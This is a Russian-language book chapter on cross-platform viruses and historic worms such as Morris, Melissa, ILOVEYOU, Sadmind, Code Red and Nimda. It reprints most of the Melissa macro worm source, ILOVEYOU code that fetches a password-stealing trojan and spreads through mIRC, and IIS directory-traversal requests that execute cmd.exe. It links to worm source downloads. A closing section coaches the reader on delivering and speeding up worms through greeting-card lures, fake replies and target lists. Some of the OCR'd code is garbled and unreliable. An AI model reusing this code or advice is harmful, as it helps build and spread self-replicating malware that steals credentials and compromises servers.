Самой большой проблемой, с которой создатели вирусов сталкиваются в наши дни, является невозможность заражения всех возможных компьютеров. Несмотря на монополию фирмы Microsoft, существуют пользователи, работающие в операционных системах, отличных от Windows 9х, кроме того, далеко не все пользователи работают с приложениями от Microsoft. Впрочем, существуют эффективные способы распространения вирусов в различной операционной среде. Нужно просто использовать современные технологии.

Java

Обсуждение различных платформ невозможно без упоминания исполняемой среды Java. Именно она используется при написании программного обеспечения для прокрутки баннеров, так как дает возможность создавать сценарии, выполняемые в любом браузере и на любой платформе. Но при этом Java также служит независимым от платформы распространителем вирусов и червей. Если не верите мне на слово, самостоятельно поищите информацию о существующих Java-вирусах. Вирус StrangeBrew поражает файлы с расширением, class, которые являются подключаемыми библиотеками. На их основе и пишутся апплеты. Заражение этих файлов приведет к тому, что любой созданный на их основе апплет будет активировать вирус. Впрочем, избежать разрушительного действия этих вирусов или, по крайней мере, ослабить их эффект, можно, ограничив функциональные возможности виртуальной машины Java на своем компьютере. Также можно отключить поддержку Java в браузере. Среди распространенных в наше время Java-вирусов стоит упомянуть Beanhive, CrashComm и DiskHog.

Макровирусы

Напомним, что макровирусы обычно связаны с определенным приложением; соответственно, они действуют на всех платформах, для которых существуют версии требуемого приложения-жертвы. В частности, различные программы из офисной системы (например, программы Word и Outlook) работают и на платформе MacOS. Это значит, что вредоносный макровирус для приложения Outlook потенциально может инфицировать как PC, так и Macintosh. После решения фирмы Microsoft не ограничивать пакет Office исключительно операционной системой Windows появились различные приложения, например Word, работающие вместе со всеми выполняемыми макросами в операционной системе UNIX.

Перекомпиляция

Замечательную вещь проделывает червь Морриса. Он загружает копию собственного кода с ранее инфицированного компьютера, компилирует ее и затем выполняет полученный таким способом код. Подобный порядок действий позволяет червю хорошо адаптироваться к системе, так как он компилируется именно под нее. Однако это возможно лишь при наличии в системе компилятора - впрочем, они всегда встречаются в различных модификациях UNIX.

Shockwave Flash

Первый вирус для технологии Shockwave Flash появился в конце 2001 года. Он назывался SWF/LFM-926 и имел ограниченную сферу действия, потому что требовал для активизации определенную версию проигрывателя ShockWave Flash. Этот вирус служит замечательным примером того, как вредоносный код может распространяться через безвредные на вид графические апплеты. Вирус SWF/LFM-926 заражает все файлы с расширением SWF, обнаруженные в системе.

Поводы для беспокойства

В прошлом было множество эпидемий вирусов и червей, и ожидается появление новых версий вредоносного кода. Чтобы разубедить тех, кто верит, что постепенно проблема решится сама собой, поговорим о некоторых современных тенденциях.

Червь Морриса 2 ноября 1988 года различные рабочие станции VAX и SUN стали жертвой первой эпидемии Интернет-червя. Этот червь, названный по фамилии своего создателя Роберта Морриса (Robert Morris), используя переполнение буфера в демоне finger, а также недокументированные команды отладки в почтовой системе sendmail, проник на компьютеры с операционной системой Berkeley UNIX. Результат деятельности данного червя впечатляет. Он подбирает зашифрованные пароли, находящиеся в файле /etc/password (в современных UNIX-системах пароли больше не хранятся в этом файле - прим. перев.), с помощью собственной версии программы crypt() (которая работает примерно в четыре раза быстрее аналогичной системной программы), оснащенной словарем из 432 слов. Затем червь сканирует систему, анализирует базу данных полномочий, используемых для обеспечения безопасности rlogin (для этого используется сканирование файлов, rhosts и hosts.equiv), и пытается атаковать систему, указанную в качестве маршрута по умолчанию в таблицах маршрутизации. Если учесть также различные способы, которые использовались, чтобы воспрепятствовать обнаружению червя, без преувеличения можно сказать, что этот первый опыт в области создания червей производит грандиозное впечатление! Настолько грандиозное, что ему посвящен отдельный документ RFC (RFC 1135).

Для самостоятельного изучения червя его код можно загрузить с сайта www.worm.net/worm-src.tar.gz.

ADMwOrm

Популярная группа хакеров ADM, творения которой в свое время создали проблемы многим пользователям, выпустила червя, использующего переполнение буфера в механизме управления запросами BIND (Berkeley Internet Name Domain - служба доменных имен в сети Internet). Копию этого червя можно бесплатно получить на официальном FTP-сайте группы ADM: ftp:// adm.freelsd.net/ADM.

К счастью для Интернета, этот червь предназначен только для компьютеров с операционной системой Linux; впрочем, вполне может найтись человек, который модифицирует его под другие платформы.

Черви Melissa и I love you

Макровирусы Melissa и I love you часто обсуждались в печатных изданиях. Ведь их воздействие было массированным и привело к огромным денежным потерям (8 млрд долл.!). Каким же образом была достигнута подобная эффективность? Тактика их распространения основывалась на знании психологии пользователей. Черви маскировались под письма от друзей и знакомых, потому что для рассылки своих копий они использовали адресную книгу жертвы. Получая письмо с известным обратным адресом, пользователь обычно испытывает определенное доверие к присланному вложению, поэтому вряд ли будет проверять его антивирусной программой.

Червь Melissa имеет достаточно простой код небольшого размера. На его примере мы покажем, насколько простыми могут быть черви:

Private Sub Document Open()On Error Resume Next

Червь Melissa инфицирует макрос Document_Open() в файлах приложения Microsoft Word. Ведь при открытии файла Word выполняется любой код, помещенный в процедуру Document_Open(). То есть для распространения червя Melissa требуется, чтобы пользователь открыл инфицированный документ, присланный по электронной почте.

If System. PrivateProfileString(“”,
“HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”,
“Level”) <> “”
Then
CommandBars(“ Macro” ).Controls(“ Security...” ).Enabled = False Sy stem. Pri vateProfil e String(“”,
“HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”,
“Level”) = 1&
Else
CommandBars(“Tools”).Controls(“Macro”). Enabled = False Options.ConfirmConversions = (1 - 1):
Options.VirusProtection = (1 - 1):
Options. SaveNormalPrompt = (1 - 1)
End If

В этот момент червь Melissa делает умный ход, отключая проверку безопасности макросов в Microsoft Word. В итоге конечный пользователь не получает никаких сигналов о том, что в системе что-то происходит, - это позволяет червю беспрепятственно продолжить свою работу.

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice Set UngaDasOutlook = CreateObject(“Outlook. Application”)
Set DasMapiName = UngaDasOutlook.GetNameSpace(“MAPI”)

Аббревиатура MAPI расшифровывается как Messaging Application Programming Interface - интерфейс прикладного программирования. Этот интерфейс представляет собой основной способ взаимодействия Windows-приложений с различными функциями электронной почты. Обычно в качестве почтовой программы используется Microsoft Outlook, хотя существуют и другие возможности.

If System.PrivateProfileString(“”, “HKEY_CUR.R.ENT_USER.\Software\Microsoft\Office\”, “Melissa?”) <> “... by Kwyjibo” Then

Червь Melissa использует механизм исключения повторного заражения. В данном случае этот механизм состоит в применении определенного ключа Registry в качестве семафора. Если ключ не задан, значит, червь Melissa еще не заразил этот компьютер, поэтому он переходит к выполнению вредоносного кода.

If UngaDasOutlook = “Outlook” Then DasMapiName.Logon “profile”, “password”

For у = 1 To DasMapiName. AddressLists.Count Set AddyBook = DasMapiName. AddressLists(y) x = 1

Set BreakUmOffASlice = UngaDasOutlook.Createltem(O)
For oo = 1 To AddyBook. AddressEntries.Count Peep = AddyBook. AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x+ 1
If x > 50 Then oo =
AddyBook. AddressEntries.Count Next oo

Затем Melissa проверяет, используется ли в качестве почтовой программы приложение Outlook. В случае положительного результата проверки вирус создает список первых 50 адресов, найденных в адресной книге.

BreakUmOffASlice.Subject = “Important Message From ” & Application .UserName BreakUmOffASlice.Body = “Here is that document you asked for ... don’t show anyone else ;-)”
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName BreakUmOffASlice. Send

А вот код, рассылающий сообщения по ранее найденным 50 адресам. Как легко заметить, сообщения персонифицированы, то есть в них в качестве отправителя фигурирует хозяин зараженного компьютера. Обратите внимание, что Melissa просто присоединяет себя к сообщению, используя всего одну строку. Затем следует команда отправки почты. Могли ли вы подозревать, что это происходит настолько просто?

Peep = Next у DasMapiName.Logoff End If

System.PrivateProfileString(“”, “HKEY CURRENT USER\Software \Microsoft\Office\”, “Melissa?”) = “... by Kwyjibo”
End If

Завершив отправку почты, Mel issa создает запись в Registry, чтобы гарантировать завершение рассылки сообщений. Именно эту запись ищет вирус, попав в систему.

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(l) Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(l)
NTCL = NTIl.CodeModule.CountOfLines ADCL = ADIl.CodeModule.CountOfLines BGN = 2
If ADI 1.Name <> “Melissa” Then If ADCL >0 Then
ADIl.CodeModule.DeleteLines 1, ADCL Set Tolnfect = ADI1 ADI1 .Name = “Melissa”
DoAD = True End If
If NTH.Name <> “Melissa” Then If NTCL > 0 Then
NTIl.CodeModule.DeleteLines 1, NTCL Set Tolnfect = NTH NTI1.Name = “Melissa”
DoNT = True End If
If DoNT <> True And DoAD <> True Then GoTo CYA

Затем Melissa проверяет, инфицирован ли активный документ и его шаблон (normal.dot); в случае положительного результата проверки происходит переход к коду завершения (GoTo CYA). Если же результат отрицательный, червь заражает эти файлы:

If DoNT = True Then Do While ADIl.CodeModule.LinesQ, 1) = “”
ADIl.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString (“Private Sub Document_Close()”)
Do While ADI1 .CodeModule.Lines(BGN, 1) <> “”
Tolnfect.CodeModule.InsertLines BGN,
ADIl.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTIl.CodeModule.Lines(l, 1) = “”
NTIl.CodeModule.DeleteLines 1 Loop
ToInfect.CodeModule.AddFromString (“Private Sub Document_Open()”)
Do While NTI1 .CodeModule.Lines(BGN, 1) <> “”
Tolnfect.CodeModule.InsertLines BGN,
NTI1 .CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

Легко понять, как червь Melissa влияет на функцию Document_Open() активного документа. Также видно, что изменения внесены и в функцию шаблона Document_Close(). Это означает, что процесс сохранения или закрытия любого документа приведет к активизации червя.

CYA: If NTCL <> 0 And ADCL = 0 And (InStr(l, ActiveDocument.Name, “Document”) = False) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName Elself (InStr(l, ActiveDocument.Name, “Document”) <> False)
Then ActiveDocument. Saved = True End If

Действие червя заканчивается сохранением активного документа. При этом проверяется, была ли запомнена копия червя.

‘WORD/Melissa written by Kwyjibo ‘ Works in both Word 2000 and Word 97
‘ Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
‘Word -> Email  Word 97 <-> Word 2000 ... it”s a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText “ Twentytwo points, plus triple-word-score, plus fifty points for using all my letters. Game’s over. I’m outta here.”
End Sub

Затем происходит вещь, которая выглядит откровенно глупо. Появляются комментарии автора червя. Почему это глупо? Потому что по этой строке можно осуществлять поиск. Если антивирусная программа увидит подобное в присоединенном к сообщению фрагменте, с большой вероятностью червь Melissa будет распознан. Несмотря на это, многие создатели вирусов оставляют свои автографы внутри кода, невзирая на то что подобный ход упрощает обнаружение их детища. Заключительная часть кода также представляет собой не очень умный ход. Если оказывается, что на момент выполнения этого куска текущее число месяца равно текущей минуте, вирус выводит на экран сообщение. Не стоит делать подобных вещей, если вы хотите остаться незамеченными, даже с учетом того, что такие события-триггеры происходят редко.

К сожалению, код вируса I love you имеет большой объем, поэтому мы не будем приводить полный сценарий его работы. Впрочем, вас это не должно расстраивать, так как полный код можно загрузить со страницы

www.packetstormsecurity.org/viral-db/love-letter-source.txt.

Интересной особенностью вируса I love you является его способность случайным образом заменять заданную в браузере пользователя домашнюю страницу одним из четырех адресов, указанных в следующем фрагменте кода: num = Int((4 * Rnd) + 1) if num = 1 then regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\

Start Page”,http://www.skyinet.net/~youngls/

H JKhj nwerhj kxcvy twertnMTF wetrdsfmhPnj w6587345gvsdf7679nj b v YT/WIN-BUGSFIX. exe el seif num = 2 then
regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\

Start Page”,http://www.skyinet.net/~angelcat/

skladj flfdj ghK JnwetryDGFikj Uly qwerWe5467863 24hj k4j nHHGbvbm KLJKj hkqj 4w/WIN-BUGSFIX. exe el seif num = 3 then
regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\

Start Page”,http://www.skyinet.net/~koichi/

jf6TRjkcbGRpGqaql98vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WINBUGSFIX.
exe
el seif num = 4 then
regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\

Start Page”,http://www.skyinet.net/~chu/

sdgfhj ksdf] klNBmnfgkKLHj kqwtuHJBhAF SDGj kh YUgqwerasdj hPhj as
fdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WINBUGSFIX.
exe
end if
end if

Программа WIN-BUGSFIX.exe является Троянским конем, предназначенным для похищения чужих паролей. А все адреса находятся на сайте www.skyinet.net. Это могло помешать быстрому распространению червя, так как многие администраторы просто закрыли доступ на указанный сайт. Это, конечно, очень неприятно для www.skyinet.net, однако позволяет администраторам контролировать ситуацию. Но представим, что создатель вируса использует ссылку на одного из популярных провайдеров, создав, к примеру, пользовательскую страницу на aol.com, yahoo.com или hotmail.com. Будет ли администратор и в этом случае блокировать доступ? Скорее всего, нет. Кроме того, если бы создатели сайта skyinet.net были умнее, они бы заменили Троянскую программу WIN-BUGSFIX.exe приложением для борьбы с I love you, которое действительно уничтожает этого червя. Таким образом, они привели бы в действие Троянского коня для Троянского коня.

Червь I love you, кроме всего прочего, вносит изменения в конфигурационные файлы приложения mIRC, которое является популярным IRC-клиентом для Windows:

if (s=“mirc32.exe”) or (s=“mlink32.exe”) or (s=“mirc.ini”) or (s=“ script, ini”) or (s=“mirc.hlp”) then
set scriptini=fso.CreateTextFile(folderspec&“\script.ini”) scriptini.WriteLine “[script]” scriptini.WriteLine “;mIRC Script” scriptini.WriteLine Please dont edit this script... mIRC will corrupt, if mIRC will”
scriptini.WriteLine “ corrupt... WINDOWS will affect and
will not run correctly, thanks”
scriptini.WriteLine
scriptini.WriteLine “;Khaled Mardam-Bey” scriptini.WriteLine “;http://www.mire.com” scriptini.WriteLine
scriptini.WriteLine “nO=on 1:J0IN:#:{” scriptini.WriteLine “nl= /if ( $nick == $me ) { halt }” scriptini.WriteLine “n2= /.dcc send $nick “&dirsystem&”\LOVE-LETTER-FOR-YOU.HTM” scriptini.WriteLine “n3=}” scriptini. close

Внесенные изменения заставляют mIRC-клиента посылать копию червя I love you всем, кто присоединяется к каналу, по которому общается пользователь зараженного компьютера. Разумеется, имя посылаемого файла должно быть достаточно соблазнительным, чтобы пользователь, присоединившийся к каналу, захотел его открыть. Думаю, что название «LOVE-LETTER-FOR-YOU.HTM» («Любовное письмо для вас») вряд ли заинтересует кого-нибудь, кроме одиноких людей, а вот заголовки «Top-10-reasons-why-irc-sucks.htm» («10 основных причин, по которым IRC вызывает отвращение») или «irc-channel-passwords.htm» («Пароли для IRC-каналов»), скорее всего, будут популярны.

Червь Sadmind

Червь Sadmind появился в мае 2001 года. Его уникальность заключалась в способности заражать как узлы Sun Solaris, так и узлы Microsoft IIS. Этот червь начал свое путешествие с поиска систем Solaris с уязвимой версией сервиса RPC (Remote Procedure Call - удаленный вызов процедуры). Данный сервис поставляется вместе с системой Solaris версий от 2.4 до 7. Найдя уязвимый компьютер, червяк использовал переполнение буфера, чтобы получить доступ к системе с полномочиями привилегированного пользователя. Затем он осуществлял следующие действия:

• заменял входящий порт для сервиса remote shell на порт 600;

• установливал различные двоичные файлы в папку /dev/сис/ и создавал системные журналы в папке /dev/cub/. В число этих двоичных файлов входят grabbb, sadmin.sh и uniattack, sh;

• атаковал серверы IIS, используя уязвимость обработки Unicode. Запросы, формируемые червем, выглядят следующим образом:

GET /scripts/.. %c0%af../winnt/system32/cmd.exe?/c+dir GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/ c+dir+..\
GET /scripts/. ,%cO%af. ,/winnt/system32/cmd.exe?/c+ copy+\winnt\system32\cmd.exe+root.exe GET /scripts/root.exe?/c+echo+<HTML code inserted here>.././index.asp

• ну и напоследок червь менял код HTML-страниц, находящихся на сервере IIS, вписывая туда следующие строки:

fuck USA Government fuck PoizonBOx contact:sysadmcn@yahoo.com.cn

Хотя распространение червя Sadmind было достаточно заметным, его не сравнить с настоящими эпидемиями появившихся позднее червей (о них мы поговорим чуть позже). В конце концов, уязвимое место, через которое Sadmind проникал в систему, было закрыто два года назад! Однако червь до сих пор распространяется, потому что многие администраторы за эти два года так и не установили пакеты обновления системы. Черви Code Red

18 июня 2001 года фирма eEye Digital Security (www.eeye.com) известила общественность об обнаруженной уязвимости, которая могла привести к переполнению буфера в Web-сервере Microsoft IIS при обработке. IDA-файлов. Коротко говоря, переполнение буфера может возникнуть при обработке длинных запросов URL, координируемых приложением Indexing Service ISAPI, которое обычно работает с запросами. IDA. Специальным образом сконструированный запрос URL вызывает переполнение буфера этого приложения и позволяет выполнить произвольный код, используя удаленный доступ.

А 17 июля фирма еЕуе проинформировала о появлении Интернет-червя, использующего переполнение буфера. IDA. Они провели восстановление исходного кода червя, чтобы понять принцип его устройства. Вот что было обнаружено:

• червь запускает 99 своих процессов (нитей), которые используются для поиска новых серверов-мишеней;

• запускается дополнительный процесс, который заменяет Web-страницы зараженного сервера на страницу, на которой написано «Welcome to http://www.worm.com! Hacked By Chinese!» (Добро пожаловать на сайт http://www.worm.com! взломанный китайцами);

• 20 числа каждого месяца червь отправляет большое количество информации на сайт

www.whitehouse.gov, осуществляя распределенную атаку, приводящую к отказу в обслуживании.

Полный анализ червя, включая отдельные фрагменты его кода, находится на сайте www. ееуе. com/html/Research/ Advisories/AL20010717.html.

Чтобы сделать жизнь владельцев компьютеров еще более интересной, 4 августа была выпущена новая версия этого червя, которая называлась Code Red II, так как механизм заражения (переполнение буфера. IDA) остался неизменным. Впрочем, результат воздействия нового червя выглядел несколько иначе:

• количество процессов, запускаемых для поиска уязвимых серверов, достигало 300;

копирование файласп^.ехе в файлы \inetpub\scripts\root.exe и \progra~l\

common~l\system\MSADC\root.exe приводит к тому, что этот файл становится доступным для удаленной атаки через Интернет;

• Троянская программа устанавливается по адресу с: \explorer.exe. Она выключает систему защиты файлов в Windows, а затем отображает диски С: и D: в папки /с и /d в корневой папке сервера IIS. В результате с удаленного компьютера можно получить полный доступ к этим дискам. Троянская программа наблюдает за состоянием дисков и воссоздает их каждые 10 мин.

Полный анализ червя Code Red II находится на сайте www.ееуе.com/html/Research/Advisories/AL20010804.html. Еще раз отметим, что черви Code Red зависят от переполнения буфера IIS. А ведь для борьбы с этим видом уязвимости фирма Microsoft выпустила пакет исправлений еще в июне 2001 года. Из этого факта можно сделать вывод, что подавляющее большинство пользователей Интернета обычно пренебрегают обновлением своих систем.

Червь Nimda

В сентябре 2001 года, когда последствия эпидемии червей Code Red еще не были устранены, возник очередной представитель этого вида. Червь Nimda (название представляет собой слово admin, написанное задом наперед), также носящий имя Concept Virus, является очередным представителем группы червей, распространяющихся через сайты Microsoft. Вот методы, которые он использует для инфицирования.

Червь рассылает себя по электронной почте, присоединяясь в виде файлов. EXE. Однако при этом используется тип вложения audio/x-wave MIME, эксплуатирующий такой недостаток браузера Internet Explorer и почтового клиента Outlook, как автоматическое выполнение присоединенных файлов во время просмотра электронной почты. После выполнения червь рассылает себя по адресам, найденным в адресной книге пользователя и обнаруженным в кэше приложения Internet Explorer. Последнее означает, что червь собирает адреса электронной почты, опубликованные на Web-страницах, которые недавно посетил пользователь инфицированного компьютера!

Червь ищет уязвимые IIS-машины, во-первых, просматривая файлы root.exe, оставшиеся после червей Code Red II и Sadmind, а во-вторых, используя различные трюки с перекодированием Unicode и двойной перекодировкой URL, позволяющие выполнять команды на стороне сервера. Вот список выполняемых червем запросов:

GET /scripts/root.exe?/c+dir GET /MSADC/root.exe?/c+dir
GET /c/winnt/system32/cmd.exe?/c+dir
GET /d/winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/
cmd.exe?/c+dir
GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/ cmd.exe?/c+dir
GET /msadc/..%5c../..%5c../..%5c/..\xcl\xlc../..\xcl\xlc../ ,.\xcl\xlc../winnt/system32/cmd.exe?/c+dir GET /scripts/. Axe 1 \x 1 c. ,/winnt/system32/cmd.exe?/c+dir GET /scripts/. Axc0/../winnt/system32/cmd.exe?/c+dir GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir GET /scripts/.Axcl\x9c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir GET /scripts/. ,%2f. ,/winnt/system32/cmd.exe?/c+dir

Обнаружив уязвимый IIS-сервер, червь пытается передать на него свой код, используя протокол tftp. Затем на этом сервере создается гостевая учетная запись, которая добавляется в группу администраторов. Таким способом червь получает доступ к скрытому сетевому диску С$. Червь модифицирует все локальные HTML- и ASP-файлы, добавляя к ним следующий кусок кода:

<script language=“JavaScript”> window.open(“readme.eml”, null, “resizable=no,top=6000,left=6000”)
</script>

Кроме того, червь копируется в файл readme, eml. В результате ничего не подозревающие пользователи Интернета автоматически загружают и, вполне возможно, запускают на выполнение червей с инфицированных сайтов. Червь копирует себя также в файлы форматов. EML и. NWS, находящиеся в локальных и сетевых папках. Попытки открыть папки с этими файлами приводят к тому, что функция автоматического предварительного просмотра приложения Windows Explorer активирует код червя. Этот способ используется для распространения червя по локальной сети.

Ну и, наконец, червь копирует себя в файл riched.dll, пытаясь присоединиться к документам Microsoft Office. Ведь эти документы открываются в той же самой папке, в которой бинарный файл riched.dll загрузит и выполнит зараженный Троянской программой DLL.

В итоге получился очень заметный, но в то же время и весьма эффективный червь. Его присутствие сразу обращает на себя внимание, так как в локальной системе появляются многочисленные файлы. EML и. NWS. Этот червь самостоятельно распространяется по уязвимым серверам. Метод множественного заражения в очередной раз доказал свою эффективность. Многие пользователи, распознавшие и удалившие червя, обнаруживали, что их система все равно продолжает инфицироваться, ведь полностью уничтожить червя не так-то просто! Для полноценной борьбы с этой напастью нужно установить на сервер IIS соответствующий пакет исправлений от Microsoft, обновить клиента Microsoft Outlook, а впоследствии осторожно использовать сетевые ресурсы общего доступа.

Полная информация по червю Nimda доступна в документах группы «компьютерной скорой помощи» - CERT - по адресу www.cert.org/advisories/CA-2001-26.html, а также в анализе от SecurityFocus на сайте

ari s. security focus, сот/alerts/nimda/010921 - Analy si s-Nimda-v2 .pdf.

Создание вредоносного кода

Нет никого ужаснее человека, тратящего свое время на обдумывание и конструирование «идеального» вируса или червя. Существовавшие до сих пор черви и вирусы (например, червь Морриса и вирус Melissa) были не раз подвергнуты критике, потому что имели изъяны кода и, следовательно, не были настолько эффективными, как могли бы быть.

Давайте представим вирус, код которого не имеет изъянов. Конечно, вы думаете, что никогда не смогли бы создать ничего подобного. Вы будете удивлены, но в статье, опубликованной в «Вашингтон пост» с заголовком «No Love for Computer Bugs», Джон Шварц (John Schwartz) рассказывает о Фреде Коэне (Fred Cohen), студенты которого выполняли задания по разработке различных вирусов. Это не опечатка. Фред Коэн действительно требует создания вирусов от студентов, обучающихся компьютерной безопасности. Эту статью можно прочитать на сайте:

www.washingtonpost.com/wp-dyn/articles/A47155-2000Jul4.html.

Новые методы доставки

Для начала нужно определиться с методом доставки вредоносного кода конечному пользователю. Использование макросов в электронной почте является эффективным решением только при наличии единого для всех пользователей почтового клиента. Впрочем, если вы решите попробовать подобный путь, рекомендую взять за основу почтовую программу Microsoft Outlook. Хотя можно подумать и о реализации множественных сценариев, каждый из которых предназначен для своего почтового клиента. Также имеет смысл присоединить вирус к пересылаемому по электронной почте сообщению, хотя это и не снимет ограничений, связанных с разными платформами (например, файлы с расширением, ехе действуют только в операционной системе Windows). Кроме того, нужно как-то убедить пользователя открыть вложенный файл. Впрочем, иногда это совсем не сложно...

Мы уже упоминали про внезапный всплеск популярности рассылаемых по электронной почте анимированных поздравительных открыток. Большинство из них представляет собой присоединенные исполняемые файлы. Это позволяет замаскировать вирус под поздравительную открытку от друга. Многие пользователи немедленно открывают присоединенный файл, ведь они даже не подозревают, что он может содержать вирус. Чтобы поддержать это заблуждение, действительно вложения должны включать в себя поздравление, как, к примеру, червь Pokémon, показывающий анимированную фигурку Пикачу. После выполнения червю необходимо внедриться в почтовый ящик пользователя и/или его адресную книгу и разослать себя по всем найденным адресам. Именно этот прием позволяет создать иллюзию, что сообщение является поздравлением от знакомого. Особо изобретательные злые гении прилагают немалые усилия для имитации методов доставки, используемых крупными серверами, отправляющими открытки (имитируются даже подписи, логотипы, исходный адрес и т. п.). Зачем это делается? Предположим, червь имитирует открытку, посланную с сервера компании AOL. Должен ли AOL заблокировать свой собственный сервис поздравительных открыток? Это, конечно, можно сделать, но принятие подобного решения возможно только после обсуждения, а это даст червю дополнительное время для распространения.

Также стоит обратить внимание на психологическую тактику «доверия», используемую червем Melissa для своего распространения. Червь, просматривая почтовый ящик пользователя, формирует ответы на найденные сообщения электронной почты. Ведь люди, написавшие жертве вируса, в большинстве случаев ждут ответа на свое послание. Если в строке, содержащей тему сообщения, будет указано, что это ответ, большинство пользователей захотят его посмотреть. А так как текст внутри будет состоять всего из одной строки «see attached» («смотрите вложенный файл»), пользователь, скорее всего, откроет вложение, думая, что там-то и содержится основная информация.

Разумеется, существуют способы распространения и помимо электронной почты. Например, для этой цели можно использовать Интернет. Создается впечатление, что очередное уязвимое место в JavaScript, через которое вредоносный код может воздействовать на компьютеры пользователей, обнаруживается каждую неделю. Не стоит забывать также про Java-апплеты, запускаемые на виртуальных машинах, хотя и с ограниченными полномочиями. Можно сделать шаг назад и использовать ActiveX, который не имеет подобных ограничений, а всего лишь предупреждает пользователя о появлении элемента управления ActiveX неизвестного происхождения. Ведь согласно теории вероятности обязательно найдется пользователь, который нажмет кнопку Proceed (Продолжить), так что этот метод тоже не стоит сбрасывать со счетов.

Ускоренные методы распространения

Чем быстрее распространяется вирус или червь, тем больше вероятность, что он выполнит свое предназначение до момента обнаружения. Ведь чтобы остановить червя, его сначала нужно поймать, проанализировать принцип действия, создать программу для борьбы с ним и снабдить ей всех нуждающихся. Если за это время червь в состоянии распространиться по Интернету и выполнить свою «полезную нагрузку», можно говорить о его повышенной эффективности.

Интересный анализ был опубликован студентом Беркли Николасом Вивером (Nicholas Weaver). Он внимательно изучил основные методы поиска червями новых серверов для заражения и сделал заключение, что новый метод, названный им «списком целей», может значительно ускорить процесс распространения червей. Сущность метода заключалась в том, что вместо хаотичного поиска новых мишеней первая волна червей использует заранее созданный список уязвимых серверов. От размера списка зависит, насколько быстро червь проникнет на все указанные в нем серверы и достигнет своей цели. Для дальнейшего распространения он может уже воспользоваться случайным сканированием. По оценкам Вивера, все серверы, находящиеся в исходном списке довольно большого размера, будут заражены за 15 мин. Другой профессионал в области безопасности считает, что если список (полученный массированным сканированием Интернета) составлен только из уязвимых серверов, время распространения червя уменьшится до минут или даже секунд.

Детальный анализ этого метода можно найти по адресу www.csua.berkeley.edu/~nweaver/warhol.html.

Дополнительные аспекты создания вредоносного кода

Михаил Залевский (Michal Zalewski), также известный как «lcamtuf» (смотрите его сайт http://lcamtuf.coredump.cx), написал потрясающую статью «I DonVt Think I Really Love You». В ней рассматривались последствия деятельности червя I love you, а также анализировались способы создания максимально эффективного червя. Оригинал статьи можно найти на сайте http://archives.neohapsis.com/archives/vuln-dev/2000-q2/0486.html.

В статье рассматривается проект автора «Samhain», посвященный исследованию и разработке идеального червя. Его свойства описываются следую - щим образом.

1. Транспортабельность - червь должен быть независимым от архитектуры компьютера и функционировать в различных операционных системах (в действительности мы рассматриваем UNIX и подобные ему системы, но существует код, работающий даже в DOS/Win).

2. Невидимость - червь должен использовать техники нелегального проникновения, позволяющие ему скрыться в системе, чтобы как можно дольше оставаться нераспознанным.

3. Независимость - червь должен быть в состоянии распространяться без помощи пользователя. Для этого служит встроенная база данных.

4. Обучаемость - червь должен непрерывно обучаться новым действиям и техникам. При выпуске более новой версии червя все остальные черви должны ее загрузить через специальные коммуникационные каналы (wormnet).

5. Целостность - структура отдельных червей и их коммуникационных каналов должна быть такой, чтобы ее было сложно отследить, изменить или уничтожить (для этой цели используется шифрование и цифровая подпись).

6. Полиморфизм - чтобы избежать распознавания, червь должен быть полностью полиморфным. Другими словами, у него не должно быть ни одного куска постоянного кода.

7. Эффективность - червь должен быть в состоянии выполнить возложенные на него задачи, например заразить указанную систему, загрузить инструкции и после завершения миссии просто исчезнуть из всех систем.

Затем в статье описываются подводные камни, с которыми приходится сталкиваться при реализации каждого из свойств. Что же в результате? lcamtuf забросил свой проект, так и не создав окончательный вариант работающего кода. Будет ли работа когда-нибудь окончена? Как сказано в статье:

«На этом история заканчивается. До очередного дождливого дня и до очередных трех скучающих хакеров. Можно гарантировать, что продолжение будет. Но предсказать, каким будет конец следующей истории, невозможно».

Строение вирусов | Защита от хакеров корпоративных сетей | Защита от вредоносного кода


Защита от хакеров корпоративных сетей



Новости за месяц

  • Сентябрь
    2019
  • Пн
  • Вт
  • Ср
  • Чт
  • Пт
  • Сб
  • Вс